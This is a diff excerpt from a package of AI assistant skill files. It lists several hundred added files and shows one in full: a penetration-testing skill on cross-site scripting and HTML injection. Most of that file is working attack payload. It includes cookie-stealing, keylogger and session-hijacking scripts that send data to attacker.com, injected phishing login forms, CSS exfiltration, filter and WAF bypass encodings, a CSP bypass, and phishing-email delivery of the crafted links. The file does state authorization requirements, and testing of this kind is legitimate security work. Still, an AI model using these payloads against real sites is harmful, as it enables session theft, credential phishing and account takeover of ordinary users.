  563. package/merged-commands/requesting-code-review.md +105 -0
  564. package/merged-commands/research-engineer.md +135 -0
  565. package/merged-commands/research.md +191 -0
  566. package/merged-commands/reverse-engineer.md +173 -0
  567. package/merged-commands/risk-manager.md +61 -0
  568. package/merged-commands/risk-metrics-calculation.md +33 -0
  569. package/merged-commands/ruby-pro.md +56 -0
  570. package/merged-commands/rust-async-patterns.md +33 -0
  571. package/merged-commands/rust-engineer.md +96 -0
  572. package/merged-commands/rust-pro.md +178 -0
  573. package/merged-commands/saga-orchestration.md +496 -0
  574. package/merged-commands/sales-automator.md +55 -0
  575. package/merged-commands/salesforce-developer.md +105 -0
  576. package/merged-commands/salesforce-development.md +51 -0
  577. package/merged-commands/sast-configuration.md +212 -0
  578. package/merged-commands/scala-pro.md +82 -0
  579. package/merged-commands/scanning-tools.md +589 -0
  580. package/merged-commands/schema-markup.md +360 -0
  581. package/merged-commands/screen-reader-testing.md +33 -0
  582. package/merged-commands/screenshots.md +401 -0
  583. package/merged-commands/scroll-experience.md +263 -0
  584. package/merged-commands/search-specialist.md +80 -0
  585. package/merged-commands/secrets-management.md +364 -0
  586. package/merged-commands/secure-code-guardian.md +93 -0
  587. package/merged-commands/security-auditor.md +169 -0
  588. package/merged-commands/security-bluebook-builder.md +22 -0
  589. package/merged-commands/security-compliance-compliance-check.md +55 -0
  590. package/merged-commands/security-requirement-extraction.md +33 -0
  591. package/merged-commands/security-reviewer.md +94 -0
  592. package/merged-commands/security-scanning-security-dependencies.md +43 -0
  593. package/merged-commands/security-scanning-security-hardening.md +147 -0
  594. package/merged-commands/security-scanning-security-sast.md +495 -0
  595. package/merged-commands/segment-cdp.md +50 -0
  596. package/merged-commands/senior-architect.md +209 -0
  597. package/merged-commands/senior-backend.md +209 -0
  598. package/merged-commands/senior-computer-vision.md +226 -0
  599. package/merged-commands/senior-data-engineer.md +226 -0
  600. package/merged-commands/senior-data-scientist.md +226 -0
  601. package/merged-commands/senior-devops.md +209 -0
  602. package/merged-commands/senior-frontend.md +209 -0
  603. package/merged-commands/senior-fullstack.md +209 -0
  604. package/merged-commands/senior-ml-engineer.md +226 -0
  605. package/merged-commands/senior-prompt-engineer.md +226 -0
  606. package/merged-commands/senior-qa.md +209 -0
  607. package/merged-commands/senior-secops.md +209 -0
  608. package/merged-commands/senior-security.md +209 -0
  609. package/merged-commands/seo-audit.md +487 -0
  610. package/merged-commands/seo-authority-builder.md +136 -0
  611. package/merged-commands/seo-cannibalization-detector.md +123 -0
  612. package/merged-commands/seo-content-auditor.md +83 -0
  613. package/merged-commands/seo-content-planner.md +108 -0
  614. package/merged-commands/seo-content-refresher.md +118 -0
  615. package/merged-commands/seo-content-writer.md +96 -0
  616. package/merged-commands/seo-fundamentals.md +173 -0
  617. package/merged-commands/seo-keyword-strategist.md +95 -0
  618. package/merged-commands/seo-meta-optimizer.md +92 -0
  619. package/merged-commands/seo-snippet-hunter.md +114 -0
  620. package/merged-commands/seo-structure-architect.md +108 -0
  621. package/merged-commands/sequential-thinking.md +94 -0
  622. package/merged-commands/server-management.md +161 -0
  623. package/merged-commands/service-mesh-expert.md +58 -0
  624. package/merged-commands/service-mesh-observability.md +395 -0
  625. package/merged-commands/sharp-edges.md +70 -0
  626. package/merged-commands/shellcheck-configuration.md +466 -0
  627. package/merged-commands/shodan-reconnaissance.md +503 -0
  628. package/merged-commands/shopify-apps.md +42 -0
  629. package/merged-commands/shopify-development.md +366 -0
  630. package/merged-commands/shopify-expert.md +102 -0
  631. package/merged-commands/signup-flow-cro.md +355 -0
  632. package/merged-commands/similarity-search-patterns.md +33 -0
  633. package/merged-commands/skill-creator.md +356 -0
  634. package/merged-commands/skill-developer.md +426 -0
  635. package/merged-commands/skill-rails-upgrade.md +408 -0
  636. package/merged-commands/skill-seekers.md +22 -0
  637. package/merged-commands/skill-share.md +80 -0
  638. package/merged-commands/slack-bot-builder.md +264 -0
  639. package/merged-commands/slack-gif-creator.md +254 -0
  640. package/merged-commands/slo-implementation.md +341 -0
  641. package/merged-commands/smtp-penetration-testing.md +500 -0
  642. package/merged-commands/social-content.md +807 -0
  643. package/merged-commands/software-architecture.md +75 -0
  644. package/merged-commands/solidity-security.md +34 -0
  645. package/merged-commands/spark-engineer.md +100 -0
  646. package/merged-commands/spark-optimization.md +427 -0
  647. package/merged-commands/spec-miner.md +88 -0
  648. package/merged-commands/spring-boot-engineer.md +104 -0
  649. package/merged-commands/sql-injection-testing.md +448 -0
  650. package/merged-commands/sql-optimization-patterns.md +35 -0
  651. package/merged-commands/sql-pro.md +173 -0
  652. package/merged-commands/sqlmap-database-pentesting.md +400 -0
  653. package/merged-commands/sre-engineer.md +98 -0
  654. package/merged-commands/ssh-penetration-testing.md +488 -0
  655. package/merged-commands/startup-analyst.md +328 -0
  656. package/merged-commands/startup-business-analyst-business-case.md +487 -0
  657. package/merged-commands/startup-business-analyst-financial-projections.md +353 -0
  658. package/merged-commands/startup-business-analyst-market-opportunity.md +240 -0
  659. package/merged-commands/startup-financial-modeling.md +467 -0
  660. package/merged-commands/startup-metrics-framework.md +34 -0
  661. package/merged-commands/stitch-ui-design.md +378 -0
  662. package/merged-commands/stride-analysis-patterns.md +33 -0
  663. package/merged-commands/stripe-integration.md +454 -0
  664. package/merged-commands/subagent-driven-development.md +240 -0
  665. package/merged-commands/superpowers-lab.md +22 -0
  666. package/merged-commands/swift-expert.md +94 -0
  667. package/merged-commands/swiftui-expert-skill.md +275 -0
  668. package/merged-commands/systematic-debugging.md +296 -0
  669. package/merged-commands/systems-programming-rust-project.md +440 -0
  670. package/merged-commands/tailwind-design-system.md +33 -0
  671. package/merged-commands/tailwind-patterns.md +269 -0
  672. package/merged-commands/tavily-web.md +36 -0
  673. package/merged-commands/tdd-orchestrator.md +205 -0
  674. package/merged-commands/tdd-workflow.md +149 -0
  675. package/merged-commands/tdd-workflows-tdd-cycle.md +221 -0
  676. package/merged-commands/tdd-workflows-tdd-green.md +73 -0
  677. package/merged-commands/tdd-workflows-tdd-red.md +164 -0
  678. package/merged-commands/tdd-workflows-tdd-refactor.md +187 -0
  679. package/merged-commands/team-collaboration-issue.md +37 -0
  680. package/merged-commands/team-collaboration-standup-notes.md +44 -0
  681. package/merged-commands/team-composition-analysis.md +413 -0
  682. package/merged-commands/telegram-bot-builder.md +254 -0
  683. package/merged-commands/telegram-mini-app.md +279 -0
  684. package/merged-commands/template-skill.md +6 -0
  685. package/merged-commands/temporal-python-pro.md +370 -0
  686. package/merged-commands/temporal-python-testing.md +170 -0
  687. package/merged-commands/terraform-engineer.md +97 -0
  688. package/merged-commands/terraform-module-library.md +261 -0
  689. package/merged-commands/terraform-skill.md +517 -0
  690. package/merged-commands/terraform-specialist.md +166 -0
  691. package/merged-commands/test-automator.md +224 -0
  692. package/merged-commands/test-driven-development.md +371 -0
  693. package/merged-commands/test-fixing.md +119 -0
  694. package/merged-commands/test-master.md +104 -0
  695. package/merged-commands/testing-patterns.md +259 -0
  696. package/merged-commands/theme-factory.md +59 -0
  697. package/merged-commands/threat-mitigation-mapping.md +33 -0
  698. package/merged-commands/threat-modeling-expert.md +60 -0
  699. package/merged-commands/threejs-skills.md +22 -0
  700. package/merged-commands/threejs.md +89 -0
  701. package/merged-commands/tool-design.md +318 -0
  702. package/merged-commands/top-web-vulnerabilities.md +543 -0
  703. package/merged-commands/track-management.md +38 -0
  704. package/merged-commands/trigger-dev.md +67 -0
  705. package/merged-commands/turborepo-caching.md +419 -0
  706. package/merged-commands/tutorial-engineer.md +139 -0
  707. package/merged-commands/twilio-communications.md +295 -0
  708. package/merged-commands/typescript-advanced-types.md +35 -0
  709. package/merged-commands/typescript-expert.md +429 -0
  710. package/merged-commands/typescript-pro.md +55 -0
  711. package/merged-commands/ui-design-system.md +32 -0
  712. package/merged-commands/ui-skills.md +22 -0
  713. package/merged-commands/ui-styling.md +321 -0
  714. package/merged-commands/ui-ux-designer.md +209 -0
  715. package/merged-commands/ui-ux-pro-max.md +351 -0
  716. package/merged-commands/ui-visual-validator.md +214 -0
  717. package/merged-commands/unit-testing-test-generate.md +319 -0
  718. package/merged-commands/unity-developer.md +230 -0
  719. package/merged-commands/unity-ecs-patterns.md +33 -0
  720. package/merged-commands/unreal-engine-cpp-pro.md +114 -0
  721. package/merged-commands/upgrading-expo.md +118 -0
  722. package/merged-commands/upstash-qstash.md +68 -0
  723. package/merged-commands/using-git-worktrees.md +217 -0
  724. package/merged-commands/using-neon.md +84 -0
  725. package/merged-commands/using-superpowers.md +87 -0
  726. package/merged-commands/uv-package-manager.md +37 -0
  727. package/merged-commands/ux-researcher-designer.md +30 -0
  728. package/merged-commands/varlock-claude-skill.md +22 -0
  729. package/merged-commands/vector-database-engineer.md +60 -0
  730. package/merged-commands/vector-index-tuning.md +42 -0
  731. package/merged-commands/vercel-deploy-claimable.md +120 -0
  732. package/merged-commands/vercel-deploy.md +22 -0
  733. package/merged-commands/vercel-deployment.md +79 -0
  734. package/merged-commands/verification-before-completion.md +139 -0
  735. package/merged-commands/vexor.md +22 -0
  736. package/merged-commands/video-downloader.md +106 -0
  737. package/merged-commands/viral-generator-builder.md +199 -0
  738. package/merged-commands/voice-agents.md +68 -0
  739. package/merged-commands/voice-ai-development.md +302 -0
  740. package/merged-commands/voice-ai-engine-development.md +721 -0
  741. package/merged-commands/vue-expert-js.md +91 -0
  742. package/merged-commands/vue-expert.md +374 -0
  743. package/merged-commands/vulnerability-scanner.md +276 -0
  744. package/merged-commands/wcag-audit-patterns.md +41 -0
  745. package/merged-commands/web-artifacts-builder.md +74 -0
  746. package/merged-commands/web-design-guidelines.md +36 -0
  747. package/merged-commands/web-frameworks.md +324 -0
  748. package/merged-commands/web-performance-optimization.md +646 -0
  749. package/merged-commands/web3-testing.md +427 -0
  750. package/merged-commands/webapp-testing.md +96 -0
  751. package/merged-commands/websocket-engineer.md +96 -0
  752. package/merged-commands/windows-privilege-escalation.md +496 -0
  753. package/merged-commands/wireshark-analysis.md +497 -0
  754. package/merged-commands/wordpress-penetration-testing.md +485 -0
  755. package/merged-commands/wordpress-pro.md +105 -0
  756. package/merged-commands/workflow-automation.md +68 -0
  757. package/merged-commands/workflow-orchestration-patterns.md +333 -0
  758. package/merged-commands/workflow-patterns.md +38 -0
  759. package/merged-commands/writing-plans.md +116 -0
  760. package/merged-commands/writing-skills.md +125 -0
  761. package/merged-commands/x-article-publisher-skill.md +22 -0
  762. package/merged-commands/xlsx-official.md +289 -0
  763. package/merged-commands/xlsx.md +289 -0
  764. package/merged-commands/xss-html-injection.md +499 -0
  765. package/merged-commands/youtube-transcript.md +415 -0
  766. package/merged-commands/zapier-make-patterns.md +67 -0
  767. package/merged-commands/zustand-store.md +68 -0
  768. package/package.json +1 -1
  769. package/scripts/merge-commands.js +21 -0
package/merged-commands/xss-html-injection.md ADDED
@@ -0,0 +1,499 @@
1
+ ---
2
+ name: Cross-Site Scripting and HTML Injection Testing
3
+ description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications.
4
+ metadata:
5
+ author: zebbern
6
+ version: "1.1"
7
+ ---
8
+
9
+ # Cross-Site Scripting and HTML Injection Testing
10
+
11
+ ## Purpose
12
+
13
+ Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.
14
+
15
+ ## Inputs / Prerequisites
16
+
17
+ ### Required Access
18
+ - Target web application URL with user input fields
19
+ - Burp Suite or browser developer tools for request analysis
20
+ - Access to create test accounts for stored XSS testing
21
+ - Browser with JavaScript console enabled
22
+
23
+ ### Technical Requirements
24
+ - Understanding of JavaScript execution in browser context
25
+ - Knowledge of HTML DOM structure and manipulation
26
+ - Familiarity with HTTP request/response headers
27
+ - Understanding of cookie attributes and session management
28
+
29
+ ### Legal Prerequisites
30
+ - Written authorization for security testing
31
+ - Defined scope including target domains and features
32
+ - Agreement on handling of any captured session data
33
+ - Incident response procedures established
34
+
35
+ ## Outputs / Deliverables
36
+
37
+ - XSS/HTMLi vulnerability report with severity classifications
38
+ - Proof-of-concept payloads demonstrating impact
39
+ - Session hijacking demonstrations (controlled environment)
40
+ - Remediation recommendations with CSP configurations
41
+
42
+ ## Core Workflow
43
+
44
+ ### Phase 1: Vulnerability Detection
45
+
46
+ #### Identify Input Reflection Points
47
+ Locate areas where user input is reflected in responses:
48
+
49
+ ```
50
+ # Common injection vectors
51
+ - Search boxes and query parameters
52
+ - User profile fields (name, bio, comments)
53
+ - URL fragments and hash values
54
+ - Error messages displaying user input
55
+ - Form fields with client-side validation only
56
+ - Hidden form fields and parameters
57
+ - HTTP headers (User-Agent, Referer)
58
+ ```
59
+
60
+ #### Basic Detection Testing
61
+ Insert test strings to observe application behavior:
62
+
63
+ ```html
64
+ <!-- Basic reflection test -->
65
+ <test123>
66
+
67
+ <!-- Script tag test -->
68
+ <script>alert('XSS')</script>
69
+
70
+ <!-- Event handler test -->
71
+ <img src=x onerror=alert('XSS')>
72
+
73
+ <!-- SVG-based test -->
74
+ <svg onload=alert('XSS')>
75
+
76
+ <!-- Body event test -->
77
+ <body onload=alert('XSS')>
78
+ ```
79
+
80
+ Monitor for:
81
+ - Raw HTML reflection without encoding
82
+ - Partial encoding (some characters escaped)
83
+ - JavaScript execution in browser console
84
+ - DOM modifications visible in inspector
85
+
86
+ #### Determine XSS Type
87
+
88
+ **Stored XSS Indicators:**
89
+ - Input persists after page refresh
90
+ - Other users see injected content
91
+ - Content stored in database/filesystem
92
+
93
+ **Reflected XSS Indicators:**
94
+ - Input appears only in current response
95
+ - Requires victim to click crafted URL
96
+ - No persistence across sessions
97
+
98
+ **DOM-Based XSS Indicators:**
99
+ - Input processed by client-side JavaScript
100
+ - Server response doesn't contain payload
101
+ - Exploitation occurs entirely in browser
102
+
103
+ ### Phase 2: Stored XSS Exploitation
104
+
105
+ #### Identify Storage Locations
106
+ Target areas with persistent user content:
107
+
108
+ ```
109
+ - Comment sections and forums
110
+ - User profile fields (display name, bio, location)
111
+ - Product reviews and ratings
112
+ - Private messages and chat systems
113
+ - File upload metadata (filename, description)
114
+ - Configuration settings and preferences
115
+ ```
116
+
117
+ #### Craft Persistent Payloads
118
+
119
+ ```html
120
+ <!-- Cookie stealing payload -->
121
+ <script>
122
+ document.location='http://attacker.com/steal?c='+document.cookie
123
+ </script>
124
+
125
+ <!-- Keylogger injection -->
126
+ <script>
127
+ document.onkeypress=function(e){
128
+ new Image().src='http://attacker.com/log?k='+e.key;
129
+ }
130
+ </script>
131
+
132
+ <!-- Session hijacking -->
133
+ <script>
134
+ fetch('http://attacker.com/capture',{
135
+ method:'POST',
136
+ body:JSON.stringify({cookies:document.cookie,url:location.href})
137
+ })
138
+ </script>
139
+
140
+ <!-- Phishing form injection -->
141
+ <div id="login">
142
+ <h2>Session Expired - Please Login</h2>
143
+ <form action="http://attacker.com/phish" method="POST">
144
+ Username: <input name="user"><br>
145
+ Password: <input type="password" name="pass"><br>
146
+ <input type="submit" value="Login">
147
+ </form>
148
+ </div>
149
+ ```
150
+
151
+ ### Phase 3: Reflected XSS Exploitation
152
+
153
+ #### Construct Malicious URLs
154
+ Build URLs containing XSS payloads:
155
+
156
+ ```
157
+ # Basic reflected payload
158
+ https://target.com/search?q=<script>alert(document.domain)</script>
159
+
160
+ # URL-encoded payload
161
+ https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
162
+
163
+ # Event handler in parameter
164
+ https://target.com/page?name="><img src=x onerror=alert(1)>
165
+
166
+ # Fragment-based (for DOM XSS)
167
+ https://target.com/page#<script>alert(1)</script>
168
+ ```
169
+
170
+ #### Delivery Methods
171
+ Techniques for delivering reflected XSS to victims:
172
+
173
+ ```
174
+ 1. Phishing emails with crafted links
175
+ 2. Social media message distribution
176
+ 3. URL shorteners to obscure payload
177
+ 4. QR codes encoding malicious URLs
178
+ 5. Redirect chains through trusted domains
179
+ ```
180
+
181
+ ### Phase 4: DOM-Based XSS Exploitation
182
+
183
+ #### Identify Vulnerable Sinks
184
+ Locate JavaScript functions that process user input:
185
+
186
+ ```javascript
187
+ // Dangerous sinks
188
+ document.write()
189
+ document.writeln()
190
+ element.innerHTML
191
+ element.outerHTML
192
+ element.insertAdjacentHTML()
193
+ eval()
194
+ setTimeout()
195
+ setInterval()
196
+ Function()
197
+ location.href
198
+ location.assign()
199
+ location.replace()
200
+ ```
201
+
202
+ #### Identify Sources
203
+ Locate where user-controlled data enters the application:
204
+
205
+ ```javascript
206
+ // User-controllable sources
207
+ location.hash
208
+ location.search
209
+ location.href
210
+ document.URL
211
+ document.referrer
212
+ window.name
213
+ postMessage data
214
+ localStorage/sessionStorage
215
+ ```
216
+
217
+ #### DOM XSS Payloads
218
+
219
+ ```javascript
220
+ // Hash-based injection
221
+ https://target.com/page#<img src=x onerror=alert(1)>
222
+
223
+ // URL parameter injection (processed client-side)
224
+ https://target.com/page?default=<script>alert(1)</script>
225
+
226
+ // PostMessage exploitation
227
+ // On attacker page:
228
+ <iframe src="https://target.com/vulnerable"></iframe>
229
+ <script>
230
+ frames[0].postMessage('<img src=x onerror=alert(1)>','*');
231
+ </script>
232
+ ```
233
+
234
+ ### Phase 5: HTML Injection Techniques
235
+
236
+ #### Reflected HTML Injection
237
+ Modify page appearance without JavaScript:
238
+
239
+ ```html
240
+ <!-- Content injection -->
241
+ <h1>SITE HACKED</h1>
242
+
243
+ <!-- Form hijacking -->
244
+ <form action="http://attacker.com/capture">
245
+ <input name="credentials" placeholder="Enter password">
246
+ <button>Submit</button>
247
+ </form>
248
+
249
+ <!-- CSS injection for data exfiltration -->
250
+ <style>
251
+ input[value^="a"]{background:url(http://attacker.com/a)}
252
+ input[value^="b"]{background:url(http://attacker.com/b)}
253
+ </style>
254
+
255
+ <!-- iframe injection -->
256
+ <iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>
257
+ ```
258
+
259
+ #### Stored HTML Injection
260
+ Persistent content manipulation:
261
+
262
+ ```html
263
+ <!-- Marquee disruption -->
264
+ <marquee>Important Security Notice: Your account is compromised!</marquee>
265
+
266
+ <!-- Style override -->
267
+ <style>body{background:red !important;}</style>
268
+
269
+ <!-- Hidden content with CSS -->
270
+ <div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
271
+ Fake login form or misleading content here
272
+ </div>
273
+ ```
274
+
275
+ ### Phase 6: Filter Bypass Techniques
276
+
277
+ #### Tag and Attribute Variations
278
+
279
+ ```html
280
+ <!-- Case variation -->
281
+ <ScRiPt>alert(1)</sCrIpT>
282
+ <IMG SRC=x ONERROR=alert(1)>
283
+
284
+ <!-- Alternative tags -->
285
+ <svg/onload=alert(1)>
286
+ <body/onload=alert(1)>
287
+ <marquee/onstart=alert(1)>
288
+ <details/open/ontoggle=alert(1)>
289
+ <video><source onerror=alert(1)>
290
+ <audio src=x onerror=alert(1)>
291
+
292
+ <!-- Malformed tags -->
293
+ <img src=x onerror=alert(1)//
294
+ <img """><script>alert(1)</script>">
295
+ ```
296
+
297
+ #### Encoding Bypass
298
+
299
+ ```html
300
+ <!-- HTML entity encoding -->
301
+ <img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
302
+
303
+ <!-- Hex encoding -->
304
+ <img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
305
+
306
+ <!-- Unicode encoding -->
307
+ <script>\u0061lert(1)</script>
308
+
309
+ <!-- Mixed encoding -->
310
+ <img src=x onerror=\u0061\u006cert(1)>
311
+ ```
312
+
313
+ #### JavaScript Obfuscation
314
+
315
+ ```javascript
316
+ // String concatenation
317
+ <script>eval('al'+'ert(1)')</script>
318
+
319
+ // Template literals
320
+ <script>alert`1`</script>
321
+
322
+ // Constructor execution
323
+ <script>[].constructor.constructor('alert(1)')()</script>
324
+
325
+ // Base64 encoding
326
+ <script>eval(atob('YWxlcnQoMSk='))</script>
327
+
328
+ // Without parentheses
329
+ <script>alert`1`</script>
330
+ <script>throw/a]a]/.source+onerror=alert</script>
331
+ ```
332
+
333
+ #### Whitespace and Comment Bypass
334
+
335
+ ```html
336
+ <!-- Tab/newline insertion -->
337
+ <img src=x onerror
338
+ =alert(1)>
339
+
340
+ <!-- JavaScript comments -->
341
+ <script>/**/alert(1)/**/</script>
342
+
343
+ <!-- HTML comments in attributes -->
344
+ <img src=x onerror="alert(1)"<!--comment-->
345
+ ```
346
+
347
+ ## Quick Reference
348
+
349
+ ### XSS Detection Checklist
350
+ ```
351
+ 1. Insert <script>alert(1)</script> → Check execution
352
+ 2. Insert <img src=x onerror=alert(1)> → Check event handler
353
+ 3. Insert "><script>alert(1)</script> → Test attribute escape
354
+ 4. Insert javascript:alert(1) → Test href/src attributes
355
+ 5. Check URL hash handling → DOM XSS potential
356
+ ```
357
+
358
+ ### Common XSS Payloads
359
+
360
+ | Context | Payload |
361
+ |---------|---------|
362
+ | HTML body | `<script>alert(1)</script>` |
363
+ | HTML attribute | `"><script>alert(1)</script>` |
364
+ | JavaScript string | `';alert(1)//` |
365
+ | JavaScript template | `${alert(1)}` |
366
+ | URL attribute | `javascript:alert(1)` |
367
+ | CSS context | `</style><script>alert(1)</script>` |
368
+ | SVG context | `<svg onload=alert(1)>` |
369
+
370
+ ### Cookie Theft Payload
371
+ ```javascript
372
+ <script>
373
+ new Image().src='http://attacker.com/c='+btoa(document.cookie);
374
+ </script>
375
+ ```
376
+
377
+ ### Session Hijacking Template
378
+ ```javascript
379
+ <script>
380
+ fetch('https://attacker.com/log',{
381
+ method:'POST',
382
+ mode:'no-cors',
383
+ body:JSON.stringify({
384
+ cookies:document.cookie,
385
+ localStorage:JSON.stringify(localStorage),
386
+ url:location.href
387
+ })
388
+ });
389
+ </script>
390
+ ```
391
+
392
+ ## Constraints and Guardrails
393
+
394
+ ### Operational Boundaries
395
+ - Never inject payloads that could damage production systems
396
+ - Limit cookie/session capture to demonstration purposes only
397
+ - Avoid payloads that could spread to unintended users (worm behavior)
398
+ - Do not exfiltrate real user data beyond scope requirements
399
+
400
+ ### Technical Limitations
401
+ - Content Security Policy (CSP) may block inline scripts
402
+ - HttpOnly cookies prevent JavaScript access
403
+ - SameSite cookie attributes limit cross-origin attacks
404
+ - Modern frameworks often auto-escape outputs
405
+
406
+ ### Legal and Ethical Requirements
407
+ - Written authorization required before testing
408
+ - Report critical XSS vulnerabilities immediately
409
+ - Handle captured credentials per data protection agreements
410
+ - Do not use discovered vulnerabilities for unauthorized access
411
+
412
+ ## Examples
413
+
414
+ ### Example 1: Stored XSS in Comment Section
415
+
416
+ **Scenario**: Blog comment feature vulnerable to stored XSS
417
+
418
+ **Detection**:
419
+ ```
420
+ POST /api/comments
421
+ Content-Type: application/json
422
+
423
+ {"body": "<script>alert('XSS')</script>", "postId": 123}
424
+ ```
425
+
426
+ **Observation**: Comment renders and script executes for all viewers
427
+
428
+ **Exploitation Payload**:
429
+ ```html
430
+ <script>
431
+ var i = new Image();
432
+ i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
433
+ </script>
434
+ ```
435
+
436
+ **Result**: Every user viewing the comment has their session cookie sent to attacker's server.
437
+
438
+ ### Example 2: Reflected XSS via Search Parameter
439
+
440
+ **Scenario**: Search results page reflects query without encoding
441
+
442
+ **Vulnerable URL**:
443
+ ```
444
+ https://shop.example.com/search?q=test
445
+ ```
446
+
447
+ **Detection Test**:
448
+ ```
449
+ https://shop.example.com/search?q=<script>alert(document.domain)</script>
450
+ ```
451
+
452
+ **Crafted Attack URL**:
453
+ ```
454
+ https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E
455
+ ```
456
+
457
+ **Delivery**: URL sent via phishing email to target user.
458
+
459
+ ### Example 3: DOM-Based XSS via Hash Fragment
460
+
461
+ **Scenario**: JavaScript reads URL hash and inserts into DOM
462
+
463
+ **Vulnerable Code**:
464
+ ```javascript
465
+ document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);
466
+ ```
467
+
468
+ **Attack URL**:
469
+ ```
470
+ https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>
471
+ ```
472
+
473
+ **Result**: Script executes entirely client-side; payload never touches server.
474
+
475
+ ### Example 4: CSP Bypass via JSONP Endpoint
476
+
477
+ **Scenario**: Site has CSP but allows trusted CDN
478
+
479
+ **CSP Header**:
480
+ ```
481
+ Content-Security-Policy: script-src 'self' https://cdn.trusted.com
482
+ ```
483
+
484
+ **Bypass**: Find JSONP endpoint on trusted domain:
485
+ ```html
486
+ <script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>
487
+ ```
488
+
489
+ **Result**: CSP bypassed using allowed script source.
490
+
491
+ ## Troubleshooting
492
+
493
+ | Issue | Solutions |
494
+ |-------|-----------|
495
+ | Script not executing | Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled |
496
+ | Payload appears but doesn't execute | Break out of attribute context with `"` or `'`; check if inside comment; test different contexts |
497
+ | Cookies not accessible | Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode |
498
+ | CSP blocking payloads | Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass |
499
+ | WAF blocking requests | Use encoding variations; fragment payload; null bytes; case variations |